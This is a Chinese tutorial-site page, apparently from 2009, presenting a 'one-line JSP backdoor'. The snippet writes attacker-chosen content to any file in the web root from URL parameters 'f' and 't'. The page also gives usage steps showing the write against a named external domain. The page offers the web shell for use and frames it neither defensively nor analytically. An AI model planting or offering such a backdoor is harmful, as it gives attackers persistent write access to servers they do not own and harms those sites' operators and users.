当前位置: 首页 > 图文教程 > 网络编程 > JSP > JSP一句话后门

JSP
JAVA/JSP学习系列之三(Resin+Apache的安装)
JAVA/JSP学习系列之四(Orion App Server的安装)
JAVA/JSP学习系列之五(JDBC-ODBC翻页例子)
JAVA/JSP学习系列之六(MySQL翻页例子)
JAVA/JSP学习系列之七(Orion下自定义Tag)
JAVA/JSP学习系列之八(改写MySQL翻页例子)
一个开发人员眼中的JSP技术(上)
JSP教程(一)
JSP教程(二)
jsp留言板源代码四: 给jsp初学者.
jsp留言板源代码三: 给jsp初学者.
jsp留言板源代码二: 给jsp初学者.
jsp留言板源代码一: 给jsp初学者.
一个开发人员眼中的JSP技术(下)
JSP教程(七)-pluginAction的使用
JSP教程(六)-怎么在JSP中跳转到别一页面
JSP教程(五)-JSP Actions的使用下
JSP教程(四)-JSP Actions的使用
JSP教程(三)--JSP中”预定义变量”的使用
我认为JSP有问题(上)

JSP一句话后门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 61 ::
收藏到网摘: n/a

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld